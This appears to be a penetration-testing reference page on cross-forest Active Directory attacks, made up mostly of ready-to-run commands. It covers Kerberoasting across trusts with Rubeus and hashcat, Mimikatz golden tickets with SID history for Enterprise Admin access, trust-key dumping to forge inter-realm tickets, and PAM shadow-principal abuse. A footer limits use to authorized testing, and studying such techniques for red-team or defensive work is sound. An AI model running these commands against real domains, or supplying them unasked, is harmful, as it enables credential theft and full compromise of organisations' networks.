Cross Forest Attacks

Attack techniques to move between different AD forests and exploit trust relationships.

Reference6 steps4 tools

Methodology

  1. 1Enumerate forest trusts
  2. 2Exploit trust relationships
  3. 3Perform SID history attacks
  4. 4Abuse PAM trust configurations
  5. 5Kerberoast across trusts

Detailed Steps

Enumerate forest trusts:

powershell
# PowerView
Get-ForestTrust
Get-ForestTrust -Forest external.local

# Get all domains in forest
Get-ForestDomain
Get-ForestDomain -Forest external.local

# Map all trusts
Get-DomainTrustMapping

# AD Module
Get-ADForest
Get-ADForest -Identity external.local
Get-ADTrust -Filter *

Trust types:

  • Parent-Child: Within same forest, bidirectional transitive
  • TreeRoot: Between forest trees, bidirectional transitive
  • External: Between domains in different forests, non-transitive
  • Forest: Between forest roots, transitive
  • Shortcut: Between domains in same forest for optimization

Enumerate SPNs in external forest:

powershell
# PowerView
Get-DomainUser -SPN -Domain external.local

# Rubeus
.\Rubeus.exe kerberoast /domain:external.local /dc:dc.external.local

# Request specific SPN across trust
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql.external.local:1433"

# Export and crack
.\Rubeus.exe kerberoast /domain:external.local /outfile:external_hashes.txt
hashcat -m 13100 external_hashes.txt wordlist.txt

Inject SID from external domain:

powershell
# Get Enterprise Admins SID from parent forest
Get-DomainGroup -Identity "Enterprise Admins" -Domain parent.local

# Create Golden Ticket with SID history (requires child domain krbtgt hash)
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /sids:S-1-5-21-PARENT-SID-519 /krbtgt:CHILD_KRBTGT_HASH /ptt"'

# SID 519 = Enterprise Admins
# Now you have EA access to parent domain
ls \\dc.parent.local\c$

Requirements:

  • Trust between domains
  • KRBTGT hash of child domain
  • SID of target privileged group in parent

Using inter-forest trust key:

powershell
# Dump trust key (requires DC access)
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc01
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

# Create inter-realm TGT
Invoke-Mimikatz -Command '"kerberos::golden /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /sids:S-1-5-21-PARENT-SID-519 /rc4:TRUST_KEY_HASH /user:Administrator /service:krbtgt /target:parent.local /ticket:trust_tkt.kirbi"'

# Request TGS in parent forest
.\asktgs.exe trust_tkt.kirbi CIFS/dc.parent.local

# Inject and use
.\kirbikator.exe lsa trust_tgs.kirbi
ls \\dc.parent.local\c$

Privileged Access Management trust exploitation:

powershell
# Enumerate PAM trust
Get-ADTrust -Filter {msDS-TrustForestTrustInfo -ne "$null"}

# Check for shadow principals
Get-ADObject -Filter {objectClass -eq "msDS-ShadowPrincipal"}

# If you compromise bastion forest, you can access production
# Create TGT with shadow principal SID
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:bastion.local /sid:S-1-5-21-BASTION-SID /sids:SHADOW-PRINCIPAL-SID /krbtgt:BASTION_KRBTGT_HASH /target:production.local /service:krbtgt /ticket:pam_tkt.kirbi"'

Exploiting trust direction:

shell
One-way outbound trust (A → B):
- Domain A trusts B
- Users from B can access resources in A
- Compromise domain B, you can access A

One-way inbound trust (A ← B):
- Domain B trusts A
- Users from A can access resources in B
- Compromise domain A, you can access B
powershell
# Check trust direction
Get-DomainTrust

# If TrustDirection = Outbound or Bidirectional
# Users in current domain can authenticate to foreign domain
# Try accessing resources directly
ls \\dc.external.local\c$

© 2026. For authorized testing and education only.

Use only against systems you own or have permission to test.